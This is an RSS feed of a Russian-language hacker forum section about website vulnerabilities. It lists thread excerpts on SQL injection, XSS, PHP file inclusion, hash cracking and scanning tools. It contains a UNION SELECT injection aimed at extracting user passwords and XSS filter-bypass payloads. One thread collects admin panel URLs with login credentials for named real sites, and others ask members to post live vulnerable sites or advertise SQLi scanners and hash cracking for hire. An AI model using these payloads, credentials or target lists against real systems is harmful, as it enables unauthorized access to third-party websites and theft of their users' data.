Поиск уязвимостей Уязвимости сайтов и популярных CMS: шеллы, sql инъекции, XSS Sat, 26 Sep 2026 00:34:28 +0000 Sat, 26 Sep 2026 00:34:28 +0000 Хакерский форум: свобода информации, безопасность https://xaker.name/forum/uyazvimosti/ SQL непохек Wed, 11 Oct 2017 14:51:51 +0000 https://xaker.name/threads/11929/ https://xaker.name/threads/11929/ invalid@example.com (xeran) xeran
Код:
http://*****/?id=999999+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13/*
Вывод: 5.0.24a-community-nt-log
Вот думаю повезло.
Смотрю название таблиц заинтересовала таблица user.
Смотрю название столбцов: User, Password
Ну все думаю щас узнаю пассы, а нет.
На запрос
Код:
http://*****/?id=999999+UNION+SELECT+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13+FROM+user/*
Выдает ошибку :angry:

Где я не...

SQL непохек]]> 154 нашел sql иньекцию помогите раскрутить Tue, 14 Jun 2016 21:17:23 +0000 https://xaker.name/threads/29595/ https://xaker.name/threads/29595/ invalid@example.com (hoske) hoske 2 Парсер ссылок по доркам Tue, 14 Jun 2016 21:15:55 +0000 https://xaker.name/threads/23098/ https://xaker.name/threads/23098/ invalid@example.com (SERGIO991) SERGIO991 [​IMG]
Собственно парсит ссылки по доркам, и проверяет их на возможность проведения SQL иньекции.

+ Сворачивается в трей
- Однопоточна
Список спарсенных ссылок сохраняется в файле parsed.txt
В файле Parsed_only_domain.txt сохраняются только домены
Список уязвимых в vuln.txt
Настройки:
«Парсить все страницы» - при отсутствии будет парсить только первую страницу поисковика
«Только на уязвимости» - НЕ будет парсить...

Парсер ссылок по доркам]]> 5 Расшифровка хэшей и немного о них самих Tue, 24 Nov 2015 11:59:40 +0000 https://xaker.name/threads/688/ https://xaker.name/threads/688/ invalid@example.com (Koller) Koller

Подробнее прочитать про то, что такое хеши и что они из себя представляют Вы можете прочесть в моём "пособии" "Хеши [Пособие для начинающих]".

Update: Если Вы не знаете что за алгоритм у найденного Вами хеша, пишите тут:
1) Сам хеш...
2) Откуда достали...(имеется в виду движок)
3) Если 2-ое не знаем,...

Расшифровка хэшей и немного о них самих]]> 345 Потенциальная опасность информации. Tue, 16 Sep 2014 16:41:21 +0000 https://xaker.name/threads/29829/ https://xaker.name/threads/29829/ invalid@example.com (klanc) klanc http://library.mirea.ru/books, так очень интересную информацию выдало (об этой ошибке администрацию уведомил уже), интересно на перспективу, что можно было бы сделать там?
P.S. Не нужно ничего взламывать, просто чисто технически интересно, была ли та информация опасной для сайта.]]> 6 XSS. Генерация html в браузере. Thu, 13 Feb 2014 04:21:38 +0000 https://xaker.name/threads/29474/ https://xaker.name/threads/29474/ invalid@example.com (Stream) Stream Вообщем незнаю, где и что почитать по поводу генерации html кода, т.к столкнулся с такой XSS (http://escape.alf.nu/8) как можно заметить смысл её в том, чтобы обойти UpperCase. дак вот мне интересно как вышло так,
Код HTML:

HTML:
<script>&#x61&#x6C&#x65&#x72&#x74(1);</script>
не проходит, а
Код HTML:

HTML:
<IMG SRC=x onerror=&#x61&#x6C&#x65&#x72&#x74(1)>
браузер конвертит в
HTML:
<IMG...
XSS. Генерация html в браузере.]]> Нужна ваша помощь Sun, 15 Sep 2013 09:57:43 +0000 https://xaker.name/threads/29078/ https://xaker.name/threads/29078/ invalid@example.com (хопкинс) хопкинс как я понял запилили модуль "ручной работы"...но на одной из страниц этого модуля я увидел это(см скрин). Меня мучает два вопроса? Что делает этот модуль? (Как я понял он приписывает/изменяет товар. Например меняет title страницы или просто добавляет слова в него). И второй вопрос можно ли поиметь что-нибудь с этого?


[​IMG]]]> 4 SQL-инъекции Sun, 07 Jul 2013 11:59:17 +0000 https://xaker.name/threads/4278/ https://xaker.name/threads/4278/ invalid@example.com (Constantine) Constantine Флеймить запрещаеться.
Вопросы не задаем.
Катерогически запрещаеться выкладывать уязвимость в таком виде - http://site.ru/index.php?id=1' Хотябы подбирайте число колонок, показывайте что разбираетесь в баге
Запрещено выкладывать узявимости на сайтах из данного листа - http://hlamidnik.h18.ru/SQLS.html]]> 398 Банальная XSS на sprashivai.ru Sun, 28 Apr 2013 19:31:23 +0000 https://xaker.name/threads/28340/ https://xaker.name/threads/28340/ invalid@example.com (Graver) Graver http://sprashivai.ru/signup в форме "Имя пользователя" сегодня мною была найдена банальная xss. Размещаю это тут с целью поделиться информацией, может кого-либо интересует, и извлечет с этого что-либо полезного. Сам не лезу дальше по двум причинам - лень и не нужно.

[​IMG]]]> XSS Tue, 11 Dec 2012 11:04:38 +0000 https://xaker.name/threads/4279/ https://xaker.name/threads/4279/ invalid@example.com (Constantine) Constantine Активные приветствуются!
Запрещаеться копипастить баги из аналогичной темы на Antichat.ru - я все ровно замечу, можете поверить
Xss в поиске не приветсвуються =\]]> 108 php- иньекции Tue, 20 Nov 2012 05:46:14 +0000 https://xaker.name/threads/4280/ https://xaker.name/threads/4280/ invalid@example.com (Constantine) Constantine Флейм запрещен
Вопросы не задаем, постим только баги
При локальном показывайте что вы разбираетесь в баге, не стоит ограничиваться etc/passwd
При удаленном постим ссылки вида http://site.ru/index.php?file= http://
Запрещаеться делать иньекци на следующих сайтах -http://hack-shop.org.ru/php.txt

Добавлено через 9 часов 43 минуты...

php- иньекции]]> 53 maxisploit v1.0 Mon, 29 Oct 2012 18:08:07 +0000 https://xaker.name/threads/26475/ https://xaker.name/threads/26475/ invalid@example.com (nebra) nebra
1. SQL Инъекция

а) Ошибка основана: она сканирует для уязвимых веб-сайтов на основе типичных ошибок для различных баз данных SQL.

б) разница (да / нет) сканирование: она сканирует сайты не отображаются, что SQL ошибки являются уязвимыми, но тем не менее, концепция эту проверку верно / неверно запросов к базе данных даст Какие которых разные ответы будут проверены, а затем в случае разница в длине и содержанию будет...

maxisploit v1.0]]> 1 Админки, шеллы Wed, 22 Aug 2012 12:48:52 +0000 https://xaker.name/threads/11114/ https://xaker.name/threads/11114/ invalid@example.com (~!Dok_tOR!~) ~!Dok_tOR!~ Выкладываем в виде:

Код:
www.site.ru/admin
login: admin
pass: password

Выкладываем только защищенные админки (т.е с логинами и паролями), иные буду удалять + будет испорчена репа.

Я буду первым :)

Код:
http://selen-dar.com/phpshop/admpanel/
login: root
pass: root

Код:
http://www.abc-travels.ru/phpshop/admpanel/
login: root
pass:...

Админки, шеллы]]> 79 Пробручу ваш hash под заказ . Wed, 15 Aug 2012 09:11:25 +0000 https://xaker.name/threads/26457/ https://xaker.name/threads/26457/ invalid@example.com (zapadlo_zapadlov) zapadlo_zapadlov
Словарей 20 гб пока что.

С вас сам hash и желательно точно указывать его тип.

Визуальное определение hash


FAQ: Визуальное определение типа хэша
32-символьные хэши:
------------------------------------------------
без соли: md5 или md5($md5)
пример
1a1dc91c907325c69271ddf0c944bc72
с солью 2 символа: md5($salt.$pass)
пример
bbde0359d80a56c0765bf30e3116c73d:b0
с солью 3,30 символов: md5(md5($pass).$salt)
пример...

Пробручу ваш hash под заказ .]]> 1 PROboy V2 Sun, 10 Jun 2012 17:51:40 +0000 https://xaker.name/threads/25766/ https://xaker.name/threads/25766/ invalid@example.com (nebra) nebra
Многопоточный фаззер параметра GET запросов для быстрого поиска SQL ошибок.
Работает в 100 потоков максимум. 1 поток на один URL.
Можно работать как с буфером обмена [CRTL+C] [CTRL+V], так и с файлами.
Можно ставить на паузу.
Загружаем линками на страницы сайтов и жмем SHAKE IT
Не пинайте сильно, писал для себя и быстро.
Если будет время будут выходить версии с новыми опциями.
Язык написания FASM.
Код:
VIRUSTOTAL...
PROboy V2]]> 1 Скачать файл без доступа на его скачку Thu, 10 May 2012 21:08:03 +0000 https://xaker.name/threads/26054/ https://xaker.name/threads/26054/ invalid@example.com (Dia26) Dia26 http://iostatgrad.mioo.ru/rgetfile.pl?file=tr12mat94krit.pdf там требует комбинцию логина и пасса, может SQL иньекция, я знаком с этим но не очень селен. )]]> 3 NTO SQL Invader Wed, 11 Apr 2012 16:55:00 +0000 https://xaker.name/threads/25767/ https://xaker.name/threads/25767/ invalid@example.com (nebra) nebra
Описание (оригинал):
NTO SQL Invader gives the ability to quickly and easily exploit or demonstrate SQL Injection vulnerabilities in Web applications. With a few simple clicks, you will be able to exploit a vulnerability to view the list of records, tables and user accounts of the back-end database.
Easy to use - The tool’s GUI interface enables you to simply paste the injectable request found by a DAST tool...

NTO SQL Invader]]> Vulnerable site finder v1.2 (SQLi Scanner) Wed, 11 Apr 2012 16:47:25 +0000 https://xaker.name/threads/25765/ https://xaker.name/threads/25765/ invalid@example.com (nebra) nebra

Код:
- Faster scanning
- Site domains Eg .gov .edu
- Progress bar bug fixed
- Import urls list
- Export links before and after scanning them
- Custon error’s
- Custom site’s
- Updater
- No scan limit
- Comes with 10k + dorks
Код:
VT
https://www.virustotal.com/file/c98a2e90c436f86daf363561751b8cf69536852d5682861bd0  b26204ff357d1b/analysis/1328897424/
...

Vulnerable site finder v1.2 (SQLi Scanner)]]> Проблемы с защитой IPB 3.2.3 Thu, 01 Mar 2012 10:30:17 +0000 https://xaker.name/threads/25282/ https://xaker.name/threads/25282/ invalid@example.com (Dia26) Dia26 1 Уязвимости сервиса Wed, 22 Feb 2012 21:03:10 +0000 https://xaker.name/threads/25196/ https://xaker.name/threads/25196/ invalid@example.com (Новуходоносор) Новуходоносор http://93.188.121.180

вообще первый раз вижу такой адрес)
какими инструментами можно проверить его на уязвимости? Я не думаю, что бы он был супер защищен

Добавлено через 1 минуту
Только не надо мне пожалуйста писать мне в теме, какой я тупой нуб в программировании) Я это и без комментариев знаю.]]> 3